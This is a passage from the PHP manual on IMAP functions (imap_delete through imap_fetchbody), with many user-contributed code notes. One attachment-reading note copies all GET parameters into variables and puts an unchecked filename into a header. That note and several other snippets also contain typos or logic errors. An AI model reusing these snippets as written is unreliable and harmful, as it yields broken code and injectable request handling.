注: POP3 mailboxes do not have their message flags saved between connections, so imap_expunge() must be called during the same connection in order for messages marked for deletion to actually be purged.

例子 1. imap_delete() example

<?php

$mbox = imap_open("{your.imap.host}INBOX", "username", "password")
    or die("Can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Messages before delete: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after  delete: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after expunge: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

See also: imap_undelete(),
imap_expunge(), and
imap_close().

add a note add a note User Contributed Notes
contact at wdschools dot com
08-Feb-2006 11:18
if your pop mail box is overloaded, here's a script to bulk delete messages. fyi, messages are stored from oldest to newest.

$server  = "mail.domain.com";
$username = "username";
$password = "password";
$max_delete = 100;
set_time_limit(300);

$pop3 = imap_open('{'.$server.':110/pop3}INBOX', $username, $password) or die("error");
$num = imap_num_msg($pop3);

for($i = 1; $i <= $num && $i <= $max_delete; $i++)
   imap_delete($pop3, $i);

imap_expunge($pop3);
imap_close($pop3);
jacky at jackyhome dot myvnc dot com
10-Nov-2003 05:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');  // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G
10-Apr-2003 12:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

   imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)
phpnotes at kipu dot co dot uk
25-Sep-2002 10:15
If you use POP it may be easier to open your link with the CL_EXPUNGE flag to make sure the message is actually deleted without having to call imap_expunge all the time
http://www.ohardt.com
01-Jul-2002 10:42
I tried imap_delete with PHP Version 4.2.1 and I was not able to delete messages from my POP3 mailbox until I used a String as Msg No. Best is to use the MsgNo. returned from the imap_headerinfo procedure.

   $msg = imap_headerinfo($link, $n);

   // Do something here

   imap_delete($link, $msg->Msgno);
   imap_expunge ($link);
vksgeneric at hotmail dot com
18-Apr-2000 07:05
For all those people who ask "Why in the world can't I delete messages from POP3 boxes" - you need to expunge right after you delete. This flag is not persistent when dealing with POP3 boxes (compared to IMAP); thus if you had to reconnect to the POP3 server after you deleted something, but haven't expunged it yet, you loose it. In short, call expunge or explicitly close the box after you are done with marking messages for deletion.
sokolov at phix dot de
07-Apr-2000 09:28
In PHP4 msg_number can be string with messages numbers (like a '1,2,6') and/or range of messages (like a '1:*')
add a note add a note

后退 | 起点 | 前进
imap_createmailbox | 上一级 | imap_deletemailbox


imap_deletemailbox

(PHP 3, PHP 4, PHP 5)

imap_deletemailbox -- Delete a mailbox

Description

bool imap_deletemailbox ( resource imap_stream, string mbox )

imap_deletemailbox() deletes the specified mailbox (see imap_open() for the format of mbox names).

如果成功则返回 TRUE，失败则返回 FALSE。.

See also imap_createmailbox(),
imap_renamemailbox(), and
imap_open() for the format of
mbox.

add a note add a note User Contributed Notes
kenstumpf<a>hotmail.com
09-Jan-2004 04:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.
logan at php dot net
10-May-2002 06:01
setting acl is possible and must be done before deleting a mailbox
chabotc at reviewboard dot com
10-Sep-2001 12:37
the Cyrus imap server requires you to first do a 'setaclmailbox <mail_box> <admin_userid> d' before a deletemailbox call is successfull.

The imap-client doesnt have these ACL functions, so this would have to be done thru a 'raw' (socket) cyrus imap connection.

As far as i know, this does work out-of-the-box with wu-imapd servers.
add a note add a note

后退 | 起点 | 前进
imap_delete | 上一级 | imap_errors


imap_errors

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_errors -- This function returns all of the IMAP errors (if any) that have occurred during this page request or since the error stack was reset

Description

array imap_errors ( void )

This function returns an array of all of the IMAP error messages generated since the last imap_errors() call, or the beginning of the page. When imap_errors() is called, the error stack is subsequently cleared.

See also: imap_last_error().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_deletemailbox | 上一级 | imap_expunge


imap_expunge

(PHP 3, PHP 4, PHP 5)

imap_expunge -- Delete all messages marked for deletion

Description

bool imap_expunge ( resource imap_stream )

imap_expunge() deletes all the messages marked
for deletion by imap_delete(),
imap_mail_move(), or
imap_setflag_full().

Returns TRUE.

add a note add a note User Contributed Notes
boswachter at xs4all dot nl
12-Jan-2006 11:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.
eisbrenner at gidn dot de
06-Jan-2006 06:56
Be careful using this function with a pop3 server, if you have an array of mails you want to handle in a loop.

If you want wo handle the mailcontent to use it in your application and use i.e.

$messages = imap_sort($connection, SORTARRIVAL, FALSE);

and have an loop like
foreach($messages as $i) {
   // do something with the content
   imap_delete($i);
   imap_expunge($connection);
}
every 2nd mail will be left untouched.
the first will be read, deleted, the second becomes #1, but due to the loop-condition #2, which was #3 as you started, will be left and #4 - which is #3 now, will be read instead.

the pop3-protocol has no expunge-method, so i assume they disconnect to delete the flagges mails and reconnect.

:-((

So you have to you the number 1 for all ....
add a note add a note

后退 | 起点 | 前进
imap_errors | 上一级 | imap_fetch_overview


imap_fetch_overview

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

imap_fetch_overview -- Read an overview of the information in the headers of the given message

Description

array imap_fetch_overview ( resource imap_stream, string sequence [, int options] )

This function fetches mail headers for the given sequence and returns an overview of their contents. sequence will contain a sequence of message indices or UIDs, if flags contains FT_UID. The returned value is an array of objects describing one message header each:

  • subject - the messages subject

  • from - who sent it

  • to - recipient

  • date - when was it sent

  • message_id - Message-ID

  • references - is a reference to this message id

  • in_reply_to - is a reply to this message id

  • size - size in bytes

  • uid - UID the message has in the mailbox

  • msgno - message sequence number in the mailbox

  • recent - this message is flagged as recent

  • flagged - this message is flagged

  • answered - this message is flagged as answered

  • deleted - this message is flagged for deletion

  • seen - this message is flagged as already read

  • draft - this message is flagged as being a draft

例子 1. imap_fetch_overview() example

<?php
$mbox = imap_open("{your.imap.host:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$overview = imap_fetch_overview($mbox, "2,4:6", 0);

if (is_array($overview)) {
    foreach ($overview as $val) {
        echo "$val->msgno - $val->date - $val->subject\n";
    }
}

imap_close($mbox);
?>

add a note add a note User Contributed Notes
borg at diekippe dot de
26-Jul-2005 05:21
$overview    = imap_fetch_overview($mailbox,"1:$MN",0);
   $size        = sizeof($overview);
   sort($overview); // <---- to sort the mails

       foreach($overview as $key){
           $uid    = $key->msgno;
           $part    = imap_fetchstructure($mailbox,$uid);

   if(sizeof($part->parts) >0){
       $anhang = "<img src='../template_bilder/cms_admin/anhang.gif' border='0'>";
   }else{
       $anhang = "<img src='../template_bilder/cms_admin/keinanhang.gif' border='0'>";
   }

   if($key->seen == "0"  && $key->recent == "0"){
       $bold = "<b>";
       $close_bold = "</b>";
       $imagemail = '<table border="0" cellpadding="2" cellspacing="0"><tr><td valign="top" width="10">'.$anhang.'</td><td valign="top"  align="right"><img src="../template_bilder/cms_admin/mail0neu.gif" border="0"></td></tr></table>';
   }else{
       $bold        = "";
       $close_bold = "";
       $imagemail    = '<table border="0" cellpadding="2" cellspacing="0"><tr><td valign="top"  width="10">'.$anhang.'</td><td valign="top"  align="right"><img src="../template_bilder/cms_admin/gelesen.gif" border="0"></td></tr></table>';
}
aaron at gwmicro dot com
25-Jan-2005 10:08
In response to jeff at coded's statement that imap_fetch_overview() will only retrieve the overview for the main INBOX folder, I find that to be false. I can retrieve overviews of the main INBOX folder, as well as any sub-folder.

In other words, I can get an overview from:

$mbox = imap_open("{localhost}INBOX, $u, $p);

as well as from

$mbox = imap_open("{localhost}INBOX.Trash, $u, $p);
csabay at szv dot tsf dot hu
23-Sep-2004 07:06
imap_fetch_overview destroys the object to be returned by imap_headerinfo:

imap_headerinfo returns an object containing several arrays e.g. to[]. These arrays will be stumped to 1 of length.
jeff at coded dot com
18-Sep-2004 02:15
It appears that imap_fetch_overview() will only retrieve the overview for the main INBOX folder.  Correct me if I am wrong but as far as I can tell, there is no way to fetch an overview of any sub-folders (i.e. INBOX.Sent-Mail).
Group-Office Developer
10-Apr-2004 08:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch
15-Dec-2003 08:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net
02-Jul-2003 09:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
bill dot mccoy at pictureiq dot com
25-Apr-2003 08:30
trionon's point also is not supported by my measurements, which indicate that a loop of single-message imap_fetch_overview calls performs equivalently to 1 call with a sequence, within 1-2% anyway. The implementation of imap_fetch_overview (at least in PHP 4.3.1) hits the UW C client library for each message individually in a loop so this isn't too surprising, the extra work of a bit of PHP interpretation is swamped by the IMAP server interaction which is the same whether you call imap_fetch_overview 100 times or once with "1:100".
php dot net at warrenfalk dot com
19-Feb-2003 01:35
regardless of trionon's comments, the "sequence" parameter of imap_fetch_overview() only seems to specify *which* messages to get, not the *sequence* of the returned messages, so using imap_sort and imploding to a string to use for "sequence" is utterly useless since the c-client library from UW appears to use the "sequence" to mark the messages, then returns the messages in their stored (not sorted) order (which is, btw, somewhat unpredictable)

I was going to submit a bug report on this one, but the documentation here doesn't actually say that "sequence" means the sequence that the overviews are returned.  I'm thinking maybe a feature should be requested.  The question is: Is this the job of PHP or the job of UW-IMAP?  I think the former should add a parameter allowing the developer to optionally apply the sequence literally
suurenbroekNoSpam at ov35 dot NoSpam dot nl
14-Oct-2002 07:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru
26-Feb-2002 02:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net
10-Nov-2001 12:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>
add a note add a note

后退 | 起点 | 前进
imap_expunge | 上一级 | imap_fetchbody


imap_fetchbody

(PHP 3, PHP 4, PHP 5)

imap_fetchbody -- Fetch a particular section of the body of the message

Description

string imap_fetchbody ( resource imap_stream, int msg_number, string part_number [, int options] )

This function causes a fetch of a particular section of the body of the specified messages as a text string and returns that text string. The section specification is a string of integers delimited by period which index into a body part list as per the IMAP4 specification. Body parts are not decoded by this function.

The options for imap_fetchbody() is a bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID

  • FT_PEEK - Do not set the \Seen flag if not already set

  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

See also: imap_fetchstructure().

add a note add a note User Contributed Notes
se at designlinks dot net
03-Mar-2005 07:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
moritz at mthielcke dot de
30-Jan-2005 10:35
after reading a lot of code here from the forum me "think" me have found an easy way to access single parts of a email.

richy's code helped me a lot, but seems to have problems with pgp-signed mails looking like this:

   1 message/rfc822
       1 multipart/signed
           1.1 multipart/alternative
               1.1.1 text/plain
               1.1.2 text/html
           1.2 something else (attachment/pgp)

Here is my solution:
http://www.mthielcke.de/imapr.html#colparts
guru at php dot net
04-Oct-2004 11:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam
28-Sep-2004 02:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
   1 multipart/alternative
       1.1 text/plain
       1.2 text/html
   2 message/rfc822
       2 multipart/mixed
           2.1 multipart/alternative
               2.1.1 text/plain
               2.1.2 text/html
           2.2 message/rfc822
               2.2 multipart/alternative
                   2.2.1 text/plain
                   2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com
06-Sep-2004 08:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =  $header->fromaddress;
   $message['toaddress'] =  $header->toaddress;
   $message['ccaddress'] =  $header->ccaddress;
   $message['date'] =  $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
   {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
   }
 else
   {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
   }
}
noose (at) nospam (dot) tweak (dot) pl
20-Jun-2004 07:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
   $type = "text/";
}
elseif ($type == 1)
{
   $type = "multipart/";
}
elseif ($type == 2)
{
   $type = "message/";
}
elseif ($type == 3)
{
   $type = "application/";
}
elseif ($type == 4)
{
   $type = "audio/";
}
elseif ($type == 5)
{
   $type = "image/";
}
elseif ($type == 6)
{
   $type = "video";
}
elseif($type == 7)
{
   $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
   $message = imap_7bit($message);
}
elseif ($coding == 1)
{
   $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
   $message = imap_binary($message);
}
elseif ($coding == 3)
{
   $message = imap_base64($message);
}
elseif ($coding == 4)
{
   $message = quoted_printable($message);
}
elseif ($coding == 5)
{
   $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com
25-May-2004 04:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito
24-May-2004 07:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

   if($subkey!=0){
   $pid = $subkey.".".($key+1); }
   else { $pid = ($key+1); }

   $ret_info[]['pid'] = $pid;
   $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
   $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

   next($ret_info);

   if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
   print_r($struct);
   echo("<hr>");
   $ret_info[]['pid']=1;
   $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
   $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz
05-Apr-2004 06:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com
30-Aug-2003 05:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
   plain
   html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de
30-Apr-2003 07:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

   // get the body of a part of a message according to the
   // string in $part
   function mail_fetchpart($mbox, $msgNo, $part) {
       $parts = mail_fetchparts($mbox, $msgNo);

       $partNos = explode(".", $part);

       $currentPart = $parts;
       while(list ($key, $val) = each($partNos)) {
           $currentPart = $currentPart[$val];
       }

       if ($currentPart != "") return $currentPart;
         else return false;
   }

   // splits a message given in the body if it is
   // a mulitpart mime message and returns the parts,
   // if no parts are found, returns false
   function mail_mimesplit($header, $body) {
       $parts = array();

       $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

       if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
           $boundary = $regs[2];

           $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
           if (eregi ($delimiterReg, $body, $results)) {
               $delimiter = $results[0];
               $parts = explode($delimiter, $body);
               $parts = array_slice ($parts, 1, -1);
           }

           return $parts;
       } else {
           return false;
       }

   }

   // returns an array with all parts that are
   // subparts of the given part
   // if no subparts are found, return the body of
   // the current part
   function mail_mimesub($part) {
       $i = 1;
       $headDelimiter = "\r\n\r\n";
       $delLength = strlen($headDelimiter);

       // get head & body of the current part
       $endOfHead = strpos( $part, $headDelimiter);
       $head = substr($part, 0, $endOfHead);
       $body = substr($part, $endOfHead + $delLength, strlen($part));

       // check whether it is a message according to rfc822
       if (stristr($head, "Content-Type: message/rfc822")) {
           $part = substr($part, $endOfHead + $delLength, strlen($part));
           $returnParts[1] = mail_mimesub($part);
           return $returnParts;
       // if no message, get subparts and call function recursively
       } elseif ($subParts = mail_mimesplit($head, $body)) {
           // got more subparts
           while (list ($key, $val) = each($subParts)) {
               $returnParts[$i] = mail_mimesub($val);
               $i++;
           }
           return $returnParts;
       } else {
           return $body;
       }
   }

   // get an array with the bodies all parts of an email
   // the structure of the array corresponds to the
   // structure that is available with imap_fetchstructure
   function mail_fetchparts($mbox, $msgNo) {
       $parts = array();
       $header = imap_fetchheader($mbox,$msgNo);
       $body = imap_body($mbox,$msgNo, FT_INTERNAL);

       $i = 1;

       if ($newParts = mail_mimesplit($header, $body)) {
           while (list ($key, $val) = each($newParts)) {
               $parts[$i] = mail_mimesub($val);
               $i++;
           }
       } else {
           $parts[$i] = $body;
       }
       return $parts;

   }
bubblocity at yahoo dot com
25-Mar-2003 12:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
   if(strlen($str1) && strlen($str2)){
       return $str1 . $separator . $str2;
   }
   else if (strlen($str1)){
       return $str1;
   }
   else if (strlen($str2)){
       return $str2;
   }
   else return '';

}
robc at gmx dot de
01-Jan-2003 02:26
// This prints all important part numbers:

function mime_scan_multipart(&$parts, $part_number)
{
       $n = 1;
       foreach ($parts as $obj) {
               if ($obj->type == 1)
                       mime_scan_multipart($obj->parts, "$part_number$n.");
               else
                       echo "$part_number$n\n";
               $n++;
       }
}

function mime_scan(&$obj)
{
       if ($obj->type == 1)
               mime_scan_multipart($obj->parts, "");
       else
               echo "1";
}

...
$obj = imap_fetchstructure($fd, $id);
mime_scan($obj);
markusNOSPAM at broede dot NO_SPAM dot de
13-Aug-2002 11:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
   foreach ($obj->parts as $count=>$p)
     parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
   parse_message($obj->parts[0], $partno.".");
  else
   if (sizeof($obj->parts) > 0)
     foreach ($obj->parts as $count=>$p)
       parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com
05-Mar-2002 03:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac
18-Feb-2002 09:24
Lets say your email has this structure:
1 multipart
   plain
   html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com
15-Jan-2002 05:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

       //If it is type message(2)=msg envelope,
   //Not sure about this assumption : the if statement
   //double check with RFC822 on this one.

   if($this_part->type==2){
       //and there is only 1 subpart of the envelope
       //and that subpart is multipart
       //otherwise will generate excessive '.1' and
       //send wrong part_no to imap_fetchbody
               if($this_part->parts[0]->type==1){
               $this_part=$this_part->parts[0];
               }
       }

       if (count($this_part->parts)>0) {
               for ($i = 0; $i < count($this_part->parts); $i++) {
                       if ($part_no != "") {
               $newpartno = $part_no . '.' . ($i +1);
           }
                       else $newpartno = $i+1;

           $partstringary[$i] =
               GetParts($this_part->parts[$i], $newpartno);
               }//for
               $partstring = implode('|', $partstringary);

       }//if
       $partstring = concat_ws('|', $part_no , $partstring);
       //echo $partstring ;
       return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

       $msg_struct = imap_fetchstructure($mbox, $msgno);
       $partsary = explode ('.', $partno);
       $subpartstruct = $msg_struct;

       for ($i=0; $i< count($partsary); $i++){
       //Not sure about this, if assumption
       // you should probably double check with RFC822 on this one.
               if($subpartstruct->type==2){
                       if($subpartstruct->parts[0]->type==1){
                         $subpartstruct=$subpartstruct->parts[0];
                       }
               }
               $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
       }
       return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
       //Write your own function to decode,
   //or lots of examples within PHP already.
   return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
   $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
   if($substruct->type==''){
       //then this is type TEXT
       $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
       //Do the decoding
       $msg = decodemsg($msg, $struct->encoding);
       echo $msg; //or do whatever you want with it.
   }
   else{ //Not TEXT
       //Do whatever you want
       //i.e. write the attachment...etc
   }
}

</pre>
pmzandbergen at yahoo dot com
10-Jul-2001 10:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

           if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com
15-Dec-2000 06:23
